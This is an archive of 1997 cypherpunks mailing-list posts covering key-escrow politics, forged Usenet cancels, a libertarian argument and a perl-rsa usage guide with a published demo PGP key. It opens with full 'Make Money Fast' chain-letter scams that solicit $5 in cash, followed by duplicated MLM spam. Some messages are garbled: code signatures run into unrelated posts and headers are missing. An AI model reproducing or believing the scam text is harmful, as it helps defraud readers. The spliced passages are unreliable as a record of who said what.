If you are under age 18 or are offended by pornography, delete this e-mail immediately!!!!

I THINK I OWE YOU SOME MONEY!!! I WANT TO GIVE YOU SOME $$$

Dear Friend,

No, there isn't an error in the subject line! I think I owe you some money! I found an amazing way to make money, 
and it's so great I think everybody should use this method to become financially independent! 

Would you like to get into the action and get some of that money? How does $5,000 sound to you? That is, up to 
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Here's the best part, the pages I am about to give to you which provides this EASY way to make MONEY can 
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Making $15,000 just for photocopying some information on three pages. It is definitely possible. There is 
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Why am I giving this incredible information for free? I know that these three free pieces of paper that I am about to 
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Also, I will include another piece of paper that may help you make up to $8000, $160000, or even up to $3,200,000.
Again, all you have to do and press the start button on the photocopy machine.

Besides that, I will also send you a phone card which provides a great rate of 19 cents a minute. From anywhere to 
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You can use this card and save with the great rate of 19 cents to anywhere in the US. You don't even have to change
 your long distance company.

You will get all this ABSOLUTELY FREE!!! To get all these great money making and money saving items. Please 
send your name and address, as well as $5 (five dollars) cash. You are getting everything for FREE, but the money 
is to help cover the cost of shipping and handling, which unfortunately isn't free. Besides, you can make the money back
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 savings and face value. So you have NOTHING TO LOSE!!!

So please send everything (You name, Address  and $5) to:-

Free Guide
PO BOX 180
Cypress, CA 90630

I THINK I OWE YOU SOME MONEY!!! I WANT TO GIVE YOU SOME $$$

Disclaimer:- Research shows that you maybe interested in this information. If you are not, you will not get this
letter again. If so, we are sorry to have inconvenienced you. 

Dear Friend,

No, there isn't an error in the subject line! I think I owe you some money! I found an amazing way to make money, 
and it's so great I think everybody should use this method to become financially independent! 

Would you like to get into the action and get some of that money? How does $5,000 sound to you? That is, up to 
$5,000 just for photocopying a page of the information I am about to give you each and every time you copy. 
Sound good? How about this, I'm going to give you three pages which can help you make an immediate $15,000. 
Here's the best part, the pages I am about to give to you which provides this EASY way to make MONEY can 
be yours for ABSOLUTELY FREE!!!

Making $15,000 just for photocopying some information on three pages. It is definitely possible. There is 
ABSOLUTELY NO HARD WORK INVOLVED!!! Making money this easy shouldn't be legal, But I assure you
, it's TOTALLY LEGAL!

Why am I giving this incredible information for free? I know that these three free pieces of paper that I am about to 
send you can help stuff money into your pockets! I'm giving out these pages because I know that you'll be so
impressed with this system, you'll want to order my other money making materials. Because I already know that
 you'll love this system and will order others, I've decided to just flat out give you these three pages. You have 
NO OBLIGATION to buy in the future. But I'm telling you, it'll be like Christmas every time you go to your mailbox. 

Also, I will include another piece of paper that may help you make up to $8000, $160000, or even up to $3,200,000.
Again, all you have to do and press the start button on the photocopy machine.

Besides that, I will also send you a phone card which provides a great rate of 19 cents a minute. From anywhere to 
anywhere in the US, any time of the day. No restrictions. You can use this card to call New York from Seattle, or call 
Miami from San Diego. From a pay phone at the airport, at a friend's phone, hotel room phone or even a cell phone.
You can use this card and save with the great rate of 19 cents to anywhere in the US. You don't even have to change
 your long distance company.

You will get all this ABSOLUTELY FREE!!! To get all these great money making and money saving items. Please 
send your name and address, as well as $5 (five dollars) cash. You are getting everything for FREE, but the money 
is to help cover the cost of shipping and handling, which unfortunately isn't free. Besides, you can make the money back
in less than one push of the start button of the copy machine. And the phone card itself is worth more than that, in both
 savings and face value. So you have NOTHING TO LOSE!!!

So please send everything (You name, Address  and $5) to:-

Free Guide
PO BOX 180
Cypress, CA 90630

From goldencareers.com at renoir.webservices.net  Fri Aug  1 09:17:29 1997
From: goldencareers.com at renoir.webservices.net (goldencareers.com at renoir.webservices.net)
Date: Fri, 1 Aug 1997 09:17:29 -0700 (PDT)
Subject: NEW ON THE NET
Message-ID: <>

NEW ON THE NET.

How would you like to have been part of the first group to join Amway in the 60s or
purchased stock from a small company called Wal-Mart in the 70s or had invested in a
small computer chip maker called Intel of the 80s.

Anybody that made these decisions above are sitting pretty good at the moment
Here in the 90s a new company, was launched on the net,   This young company has
positioned itself to be among the major players for years to come.

This is not a get rich scheme.

This is simply a new company, with fresh ideas, a new company that people are going to
hear a lot about.

If you would care to become a part of all the excitement, and learn more, just simply
send e-mail to sales at scarlett.org  Please put MORE INFO. in the subject field.You will
have info. vary soon.

THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.

From goldencareers.com at renoir.webservices.net  Fri Aug  1 09:17:29 1997
From: goldencareers.com at renoir.webservices.net (goldencareers.com at renoir.webservices.net)
Date: Fri, 1 Aug 1997 09:17:29 -0700 (PDT)
Subject: NEW ON THE NET
Message-ID: <>

NEW ON THE NET.

How would you like to have been part of the first group to join Amway in the 60s or
purchased stock from a small company called Wal-Mart in the 70s or had invested in a
small computer chip maker called Intel of the 80s.

Anybody that made these decisions above are sitting pretty good at the moment
Here in the 90s a new company, was launched on the net,   This young company has
positioned itself to be among the major players for years to come.

This is not a get rich scheme.

This is simply a new company, with fresh ideas, a new company that people are going to
hear a lot about.

If you would care to become a part of all the excitement, and learn more, just simply
send e-mail to sales at scarlett.org  Please put MORE INFO. in the subject field.You will
have info. vary soon.

THIS IS TRULY A COMPANY AHEAD OF IT'S TIME.

Thank You For Your Time.

From stewarts at ix.netcom.com  Fri Aug  1 00:43:47 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 1 Aug 1997 15:43:47 +0800
Subject: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <3.0.2.32.19970731102641.006f3430@popd.ix.netcom.com>

At 01:40 PM 7/31/97 +0100, Adam Back wrote:
>The internet looks like it is slowly moving towards anonymous
>micropayments for services, and metering for scarce resources.
...
>That is to say high velocity efficient markets will arise for resale
>of bandwidth, storage and CPU hours.
.....
>The interesting question then is can we actually base an entirely net
>based currency on trading of these resources. 

It's not very stable, though it might be useful for short term
exchanges of value.  On the other hand, since demand for resources
is very bursty and constantly fluctuating, what we're more likely to see
is an agoric computing model of continuous auctions for some resources,
which allows pricing to reflect the near-instantaneous demand
(and therefore to fluctuate wildly, making it really useless as currency :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From stewarts at ix.netcom.com  Fri Aug  1 00:46:40 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 1 Aug 1997 15:46:40 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <199707310103.CAA27631@server.test.net>
Message-ID: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>

At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
>"Make Money Fast" are killed because they're illegal scams in the US and I 
>think in most of the world.

They're illegal in the US primarily because the Post Office is confused
about whether its job is to deliver the mail or to censor it,
and delivery of MMFs by mail is policed by Postal Inspectors just as
delivery of obscenity by mail is.  It's a side effect of having services
provided by a government monopoly rather than the free market,
though I'm sure that to some extent it's because people started 
complaining to the Post Office that they were receiving junk mail,
and complaining to their legislators that they lost money on these scams.

On the Internet, on the other hand, not only is the stuff spam and a scam,
but it's abusing flat-rate prices for service, and service providers
don't like it.  Julf's remailer used to block MMFs.

Pyramid scams like the MMF, and the government's inability to deal with it,
brought down the Albanian government recently.  Here in the US that would
_never_ happen (:-), assuming of course you don't consider Social Security
to be a Ponzi scheme....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From stewarts at ix.netcom.com  Fri Aug  1 00:46:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 1 Aug 1997 15:46:48 +0800
Subject: Dorothy Denning changes Escrow position
Message-ID: <3.0.2.32.19970801003421.007786bc@popd.ix.netcom.com>

There was an article in today's San Jose Mercury News that
Dorothy Denning, the leading academic supporter of the Administration's
anti-crypto stance, has backed off from that position.
She's put out a paper along with William Baugh of SAIC (!) which 
among other things includes a survey of law enforcement officers
on how much they've encountered crypto and how much difference it's made,
and the answer has been that it hasn't made much difference --
of the few criminals who use crypto, some use wimpy algorithms,
some are careless with their password handling, some get fingered by
stool pigeons, and some mainly use their crypto for information
not relevant to the case they're being investigated for.
She's now taking a much less certain, more neutral position.
Way to go, Dorothy!

It's especially important because Dr. Denning was the main independent
supporter of encryption limitations, and has a lot of reputation invested
in it, so changing her position is a big step.  The FBI has a vested
interest - without Communists to chase around, Director Freeh is off 
chasing drug dealers in the name of "national security".  And the 
industrial support for key escrow has primarily been from companies that 
get to export their products in return for adding it, though there have 
been a few firms like TIS that have developed it for its own sake.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From stewarts at ix.netcom.com  Fri Aug  1 00:50:13 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 1 Aug 1997 15:50:13 +0800
Subject: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: <3.0.2.32.19970731094719.006f3430@popd.ix.netcom.com>

At 10:12 AM 7/31/97 -6, Peter Trei wrote:
>Does the FCC charter mention photonic communications as 
>well? At what point does the charter allow them to 
>interfere? Here's some steps on the way...
>
>* A mime, 'working' outdoors in daylight.
>The communication is entirely by photons, and the light
>source is non-electronic. (I know that many people
>would like to see mimes suppressed for the good of 
>humanity, but bear with me).

"A mime is a terrible thing to waste."

>* A mime, working by electric light.
>
>Does the fact that electricity is involved in
>creating the light make the communication 
>'electronic'? I don't think so. 

Electrical, perhaps; electronic, no, unless the light is using
transistors or vacuum tubes for some reason.

A mime, working under a government-funded streetlight,
which is powered by electricity obtained from interstate commerce .....
Sure, we can regulate that!  :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From vin at shore.net  Fri Aug  1 00:55:56 1997
From: vin at shore.net (Vin McLellan)
Date: Fri, 1 Aug 1997 15:55:56 +0800
Subject: Denning backs away from GAK
In-Reply-To: <199707311754.MAA21360@mailhub.amaranth.com>
Message-ID: 

	Tim May  rejected reports of D. Denning's change of
heart:

>And her "second thoughts" on GAK were not based on a principled repudiation
>of the concept of "escrowing" keys, or on Constitutional grounds,  but only
>on the grounds that her study did not show that many criminal cases were
>much affected by the lack of key escrow.
>
>So what if they had?
>
>(Insert usual arguments here about how many consitutionally-protected
>rights affect criminal investigations, but that this is no reason to ban
>window shades, locks on doors, whispering, etc.)
>
>Denning and her allies can always support GAK in the future, when "new
>studies indicate that law enforcement is being severely hampered by the
>growing menace of unbreakable cryptography."
>
>I never trust utilitarian arguments on things of this importance.

	To note the obvious, the Constitutional argument cuts both ways,
with warranted access to "private papers," versus the Founding Fathers'
proto-privacy and their rude distrust of federal power.  (It's kind of like
the abortion debate, where the premise you start off with almost dictates
which conclusion you arrive at, many steps later.)  Denning's pragmatic,
utilitarian, arguments are useful, but I suggest they mask a deeper shift
of primacy among competing principles.

	Utilitarian arguments are historically (even in C'punks;-) used to
defend a pre-defined philosophical position.  (And anyone who thinks that
it would have been hard to tilt the Denning/Baugh study with reports of
crypto use by drug cartels and distributors, even within the US, is just
out of touch.)

	Of course, crypto has (and will in the future) muck up criminal
investigations!

	On the evidence her comments over the past four months, I think it
is clear Prof. Denning has had some profound second thoughts about ultimate
cultural values and the balance of power between the state and the
individual.   (Make your appointment, Declan! When Dorothy is ready to talk
about this, it will be _very_ interesting.)  Denning, like many on the
other side, is smart & idealistic.  This study and other recent statements
have her overtly balking at being herded along the pro-GAK path... at the
very time the US LEA chiefs are twisting every arm they can to demonize
free access to strong crypto.  That proves her to be thoughtful as well.
Not many standard-bearers cross from one side to the other in this debate.

	Dennings refusal to offer rote support for the LEAs now is itself a
major event in this debate, with significant implications in Congress.

	For players who operate at the level Denning has worked, I have a
gut sense that the international issues -- the multi-cultural,
multi-national, Merchantile side of the debate -- are often much more
important than they have been in the Stateside discussion, such as it is.

	Restructuring world commerce around "licenses" from various
national spy organizations is a disconcerting prospect for many, with
widely-varied political identities.  Also, Denning's middle-class trust in
American government agencies doesn't have a direct parallel in European
political culture -- and once people notice that, the contrasting views of
the state are often disconcerting.

	(Most countries, even in Europe, vividly recall foreign occupation
-- which gives a notable tweak to presumptions of bureaucratic Virtue.)

	Dorothy Denning will never march under a Libertarian flag, but
neither will I. There are other banners which are on the same side of the
barricades, guys.  No need to shoot all your allies until after the
Revolution.  And, if we win it together, you may need a consensus before
anyone shoots anyone, AP notwithstanding;-)

	Suerte,
		_Vin

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild +     *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548

From Michael.Johnson at mejl.com  Fri Aug  1 01:31:28 1997
From: Michael.Johnson at mejl.com (Mike)
Date: Fri, 1 Aug 1997 16:31:28 +0800
Subject: Microsoft RAS encryption?
Message-ID: <3.0.3.32.19970801101506.0092b420@localhost>

Does anybody know how Microsoft RAS implements data encryption? Apparently
(http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
this stuff documented somewhere, like in an RFC?

Mike.

From dformosa at st.nepean.uws.edu.au  Fri Aug  1 01:41:45 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 1 Aug 1997 16:41:45 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free   download)
In-Reply-To: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Bill Stewart wrote:

[...MMF...]

> though I'm sure that to some extent it's because people started
> complaining to the Post Office that they were receiving junk mail,

The MMF ban came about when its volume rose to a point where it crashed
californaia's snail mail system.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+FkeKQK0ynCmdStAQHCzwQAmr60ZmnFX0e+bsd/TIyeEFfBdVwJoIwC
TMaiup70Qq0Lj5gFsCV6TsX8OlA6oIjxSzUQSrYqOM9agXf2vw8uG4KTeBft8Lsf
16Yfs40C3Py96KWaYoKLzhDRpxvq//6QUxkLUwra306ol1EcCnhF/YEu4JTrhXm4
+9lXf8TMLlY=
=Tl5N
-----END PGP SIGNATURE-----

From frogfarm at yakko.cs.wmich.edu  Fri Aug  1 01:52:35 1997
From: frogfarm at yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 1 Aug 1997 16:52:35 +0800
Subject: Self-imposed censorship
Message-ID: <19970801044418.63467@yakko.cs.wmich.edu>

>There are a great many ironies here, but the greatest
>irony is that the censorship will be self-imposed --
>we're doing it for the sake of family, parents,
>children.

"Arresting Katherine was the government's way of taping our mouths
shut. Yet they had to realize that beating heads was the last way to
tame minds. Benevolence was always the first choice of rule for our
ancient emperors. The goal was to make people obey with their hearts
instead of with their mouths."
 -_Katherine_, by Anchee Min

"Ye have locked yerselves up in cages of fear - and behold, do ye
now complain that ye lack FREEDOM!"
 - _Principia Discordia_

It is not enough to fear Big Brother. You must love him.

--
"There's no way the federal government could oppress the citizens, because
the populace is armed to the teeth, and the officials would just get their
heads blown off."
 - James Madison argues the pro-government position, Federalist Papers #46

From aba at dcs.ex.ac.uk  Fri Aug  1 03:47:16 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 1 Aug 1997 18:47:16 +0800
Subject: using perl-rsa
Message-ID: <199708011035.LAA01061@server.test.net>

[managed to type kent instead of keng this time, touch typist and not
watching the screen either].

Kent Crispin  writes:
> [...]
> 
> >print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> >)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 
> BTW, how do you use this code?  I'm not a big "dc" user, I must admit.

You first of all extract your a PGP key with pgpacket.  (You'll need
to change the password to be no password (press enter when prompted
for password), so that PGP doesn't encrypt the private key.

Next, you can do:

	% perl rsa.pl [e] [n] < plaintext > ciphertext
	% perl rsa.pl [d] [n] < plaintext > ciphertext

to encrypt and decrypt.

Here's a small example (Fred is a notional eternity user who's key,
both public and private is included in the eternity distribution):

Fred's public key:

Fred's secret key (no password):

-----BEGIN PGP SECRET KEY BLOCK-----
Version: 2.6.3i

lQD4AzPfUPsAAAECAMn6jtL3ZNjmBrkDLIktHNmBGc+a59BSvFPN8howj5zAj1U8
5QOfVtV4kOliK2AkCcL2yyz3Wz+AHiYdVyuQJF0ABREAAfsEPkWwiGybJRn00/dB
RLZjOZHAmMRVDH6UC9si+GpHDsOs5/eLbK6GUqmbWXG4I4LadxRQz/nplQ+lCVYP
ecrbAQDixLjtXlj9ks1e9ZcroU71Pvk84oQjpUhiU1rAIkKh9wEA5APIvVJETEjm
DxEpdE6hJkty+nb6v8VNOYlslo8Ol0sA/iwRycjjcNs4A2c9Owt+xLCiMp2JIb0z
yf7d4xEcLI1vUXG0FEZyZWQgPGZyZWRAZXRlcm5pdHk+
=CHwS
-----END PGP SECRET KEY BLOCK-----

(to extract public key do:

% pgp -kxa fred fredpub ~/.pgp/pubring.pgp 

and to get private key do:

% pgp -kxa fred fredpri ~/.pgp/secring.pgp 

)

Next get pgpacket.pl, see ftp://ftp.ox.ac.uk/pub/crypto/pgp/utils/ or
something like that.

Then run pgpacket on the fredpri.asc (it contains all the info that
you want, without looking at fredpub.asc, ie the values for e, d and
n):

% pgpacket fredpri.asc

The values for e, d, and n are:

e = 11
d = 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470E
    C3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB
n = C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC0
    8F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D

Now you can encrypt for fred like so:

% echo hello world | perl rsa.pl 11 C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D > hello.rsa
%

and to decrypt:

% perl rsa.pl 043E45B0886C9B2519F4D3F74144B6633991C098C4550C7E940BDB22F86A470EC3ACE7F78B6CAE8652A99B5971B82382DA771450CFF9E9950FA509560F79CADB C9FA8ED2F764D8E606B9032C892D1CD98119CF9AE7D052BC53CDF21A308F9CC08F553CE5039F56D57890E9622B602409C2F6CB2CF75B3F801E261D572B90245D < hello.rsa
hello world
%

Now dc can do modular exponentiation like so (reverse polish notation):

dc> m e ^ n %

but that's going to take a long time because it will evaluate m ^ e
and then do mod n.

So the clever thing that the program does is to implement Knuth's
modexp algorithm which reduces the work factor immensly. 

Actually GNU dc 1.1 (distributed with GNU bc-1.04) now includes "|" as
a modular exponentiation operator, so you can do: "m e n |" and it'll
do it directly.  This feature was a special, just for perl rsa because
Ken Pizzini, author of GNU dc, happens to be one of the major
contributors of hacks to shorten the perl program, and so have a
vested interest.

With the dc 1.1 | operator, Ken got the script down to:

$/=$z;exec"dc -e'16i0[lN*lMlKlN|+lMlN/dsM0]}\EsMsKsNx[II*~aSad0
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 I dug out a midi interpreter I wrote a number of years ago, 
> and it is indeed trivial to modify it to read any text as input.  
> Unfortunately, I wrote that long before the midi file spec was 
> finalized, and the hardware I wrote it for is also long gone.  But 
> it's probably not much work to get file output working again...and 
> the thought of a general text-to-midi translator is rather 
> entertaining -- I could play this entire mail message through it, for 
> example... It would definitely make better music if some rhythmic 
> variation was part of the coding, but that would make it a little 
> harder to make an automatic decoder...

I'd find it most cool to hear an audio file of the above.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199708011032.LAA01054@server.test.net>

Kent Crispin  writes:
> On Thu, Jul 31, 1997 at 09:59:37PM +0100, Adam Back wrote:
> > Kent you seem to harbor the belief that government monopoly is a good
> > thing, or at least that government is somehow an unavoidable necessary
> > evil.
> 
> Adam, in all honesty I don't think of it like that at all. 
> "Government" to me is a completely neutral abstract term, like
> "organization", or "society".  

Isn't that a bit humpty dumpty words mean what I say they mean-ish?
Clearly my use of the word government above is intended to mean your
or my government.  If I was in the US I might have used the term USG,
but as I'm not I generalised to governments, meaning existing
governments of countries.  Government has other dictionary meanings.

> Consequently, a statement like "Government is always bad" is ipso
> facto a shallow generalization, and my natural reaction is to point
> out that sometimes government is good.

I'll admit there are situations where a government may make a good
decision, or handle a situation not too badly, or not that
restrictively.  Such situations are quite rare though, aren't they :-)

> Since the poor brainwashed souls on cypherpunks uniformly spout the
> "Government is bad" party line, the result is that comes out looking
> like I think government is good.  But that is an incorrect
> impression.  Government, as a general abstract term, is neither bad
> or good.

All words are neutral as abstract terms, it's only when you consider
the semantics of your intended meaning in using them in given contexts
that they become other than abstract.

Nuclear bomb is an neutral term.

> [Note: While "government" in general is a completely neutral term,
> particular governments may be better or worse in various dimensions,
> of course.  But it is never a black or white thing.  

Didn't say otherwise.  I gave the example of the ex Soviet Union as a
worse, more restrictive government than either US or UK government in
the post you are replying to.

> I don't think of government as a "necessary evil", either.  Rather,
> I think that a government of some kind is an inevitable outgrowth of
> human nature.  I think this for three compelling reasons: first, it is
> obversationally true -- there are essentially no human beings who live
> without a government of some kind; second, because it is in agreement
> with all my observations and knowledge of human nature; and third,
> because it makes sense to me as the rational consequence of the
> existence of force as an interpersonal interaction. 

As a general rule: less government intervention is more efficient than
more.  This is because the free market is better at meeting people's
demands in a tailored fashion than any socialist/communist planned
economy handed down by a few big-wigs.

Are you against privatisation?  Are you against deregulation?

I suppose you'd like to unreform the US telco's and put it back into
one huge monopoly charging monopoly rates?  Clearly US telco's have a
long way to go in terms of having a free competitive arena with FCC
intervention, but surely you aren't denying the improved efficiency
the deregulation you have had has produced.

It's not black or white.  (Where did I read that sentence, hmmm).

In the UK we have a socialist state.  Government provides a huge
social security system.  They have cut back on it a bit in the last 20
years, but it's still a disgrace the way money is wasted.
Nationalised medical care, all out of your tax bill.  No wonder the
tax rate is > 50% effective.  Some scandinavian countries are up in
the 60 and 70% effective tax range.

Would you like some of that in the US?  At least you currently have
mostly privatised medical care.

My point is really that the more market freedom, more deregulation,
less government intervention, less attempts to influence the market
the better off we'll all be.

Do you think it would be a good thing if the government started taxing
Internet usage?

> In fact, of course, the US generates a great deal of wealth for its
> citizens, who are among the best off and most productive of any nation
> on earth.  Of course it could be better, but it could be a whole lot
> worse.  To say that the form of government had nothing to do with that
> *success* is intellectually dishonest -- one can just as easily argue
> that things are good in the US largely *because* we have a relatively
> good government. 

Jeez, just imagine how much better off you could be without all the
government crapola.

> > The success that a country does enjoy is pretty much proportional to
> > the degree of market freedom.  Luckily for us our governments have
> > left a bit of freedom in markets, or we would have food shortages, and
> > rationing.
> 
> Oh, "luckily".  No possibility that there was intelligence involved,
> eh?

Maybe a bit of self-interest :-) Eg if the cancerous growth stifles
too much trade, it might get less tax revenues.  I view Clinton's
recent "hands off" approach to the internet in this light, if he
actually means anything concrete by it.

> [...]
> > Governments tend to grow, and soak up larger tax percentages, and
> > encroach into more aspects of life which were previously a question of
> > free choice, or were previously purely market driven.  The reason for
> > this growth is due to the government as an entity unconciously
> > promoting itself as an organism.  A great huge cancerous growth which
> > has us by the jugular.
> 
> "Governments" is the wrong term here.  A more correct term would be 
> "bureaucracies."   The growth you describe is endemic to any large 
> human organization.  Large corporations go through very similar 
> cycles.  Charities, churches, clubs -- it happens everywhere.  

Governments too.  ie what I said was true for governments so why
contest the fact?  So there are other systems it is true for, so what?
I didn't say there weren't.

> > A good start would be a choice in government, to generate some
> > competition.  So you can buy membership in a protection racket, hire
> > the services of a private security firm, or buy insurance from an
> > insurance group because of its benefits package, or go elsewhere if
> > the offering sucks.  You choose on an individual basis what package
> > best suits you, and you choose the service providers who you consider
> > as the best value for money.
> 
> This is a pure pipe dream, a utopian fantasy for libertarians.  I 
> could say "a good start would be for everyone to love one another" -- 
> it would be just as real.

OK, lets start with deregulation, and privatisation of everything that
it is immediately possible to arrange.  Not so radical is it?

You aren't going to get a purely market based economy with no
government intervention over night, clearly.

> > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > racket because the protection is 5000% better value for money than the
> > Feds deal.
> 
> How do you get out from Uncle Enzo's protection racket when things go 
> sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> say anything bad about him?

Sounds remarkably similar to the current situation doesn't it?

Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
worth the effort of picking on small fry like you.

> You are describing pure speculative fantasy, and it is pointless to
> argue the details of your speculation.  All I can do is point out that
> it *is* a speculative fantasy, and challenge you to produce something
> meaningfully concrete.  Show me a real living example of such a
> society in operation.  

It's not black and white.  It's not all or nothing.  We can start with
less government, before it shrivels up to close to zero.

> If such an excellent society existed then surely people would flock
> to it in droves.  Or is it like communism -- we have to have the
> whole world under control before the dictatorship of the proletariat
> withers away, and the glorious new world order flowers?

Cultural and societal change have happened in the past.  I guess
you've read of the feudal systems.  Well society's structure has
changed.  If you lived in feudal systems, you'd be one of the serfs
happy with his lot tithing to the lord of the manor, and to the fat
church, and being left with barely enough to eat.

Clearly presures exist today where people would like to move to
different regimes.  People are real keen to get out of less free
governments into freer ones.  I won't bother with examples, anyone can
come up with those.

See anything wrong with making a currently relatively free government
into an even less restrictive government?

> No, I think that average people have much more sense than you give
> them credit for, and that the egotism of people who are bright
> technically frequently blinds them to their shallow understanding of
> other areas.  I have seen very bright people caught up in all sorts of
> insane ideas.  

Tell me, are the following insane ideas:

	- privatisation
	- deregulation
	- devolution of government power to smaller power bases
	- lower taxes
	- fewer politicians
	- reduced social security system 
	- cancel the war on drugs

> The best example I know is the weapons physicist, a brilliant and
> clever thinker, who is a member of a fundamentalist Christian group.
> He predicted the second coming on a particular day, and announced it
> to the press, with a statement to the effect that he had set off
> bombs at the Nevada test site with less intellectual certainty than
> his prediction.  I'm sure he is now back reading the the Bible and
> other texts, and trying to figure out what went wrong.

That suggests to me that he is slightly cracked, as well as being a
inventive physicist.

> I admire his conviction, his tenacity, but not his grip on reality. 

Yup, cracked.

> > Free choice makes for much more efficiency in terms of economics, and
> > in terms of individuals happiness.
> 
> Sure.  So what.  The issue is what *real* can be done.  Utopian 
> fantasies don't do it.

Work towards the principle that free markets are more efficient than
state monopolies.

> > Here's a reading list for those interested in disbanding government
> > and replacing it with services purchased on the free market:
> [...]
> 
> Hmm.  You base your philosophy on a couple of science fiction novels,
> "The Machinery of Freedom", Adam Smith, and Hayek? Some years ago I
> read Nozick and Rand, because I thought there might be something to
> libertarian philosophy.  I also read parts of "Machinery of Freedom"
> -- a better title, I think, would be "Intellectual Tinkertoys of
> Freedom" -- and something by Boas, and a couple other things that fade
> from my memory.  I conclude that these books are libertarian
> scripture, and function like that physicists bible.  

Adam Smith is a pretty sound pure market economics text.  If you can
refute any of it's claims, which are in the main logical, or
mathematical readily observable truisms, I'd be interested to hear
your arguments.

Hayek just points out the clearly observable trends with Socialism.
If you can't see much of what he was saying back in 1944 replayed
before your eyes in the US, you've got your eyes closed.

Rand is a somewhere between the two, lots of negative things to say
about socialism, and also lots to say about free market.

> Adam, I admire your conviction, I respect your technical expertise a
> lot, but we have a different view of reality.  We will just have to
> differ on that. 

Heh, I said I wouldn't convince you.

[I took the perl rsa usage to a new post]

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 31 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:
> 
> > Nno one is arugeing that.  Both sides in this debait aggry that that is a
> > REAL BAD thing.  Spam cancelers use an objective rules.

[...]

> Let me clarify two things:
> 
> 1. "Spam cancellers" are not generally news admins.

I think you will have to justerfy this,  the top spam cancellers are all
news adimns.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration"

There is little proof that this is the case.  Even the netscum case could
have been considered spam.

[...]

> > Not even forgeries in my name?  Not even out of the control spews from
> > fidonet?
> 
> Correct.

Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
posts into usenet you don't wish them to be removed from usenet?

Nor if I post a message with your name and email, saying "Chris Lewis the
best thing that happened to usenet and I wish to have his baby."

If this is so sould I change the RB to reflect this.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

From dformosa at st.nepean.uws.edu.au  Fri Aug  1 05:29:02 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 1 Aug 1997 20:29:02 +0800
Subject: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: 

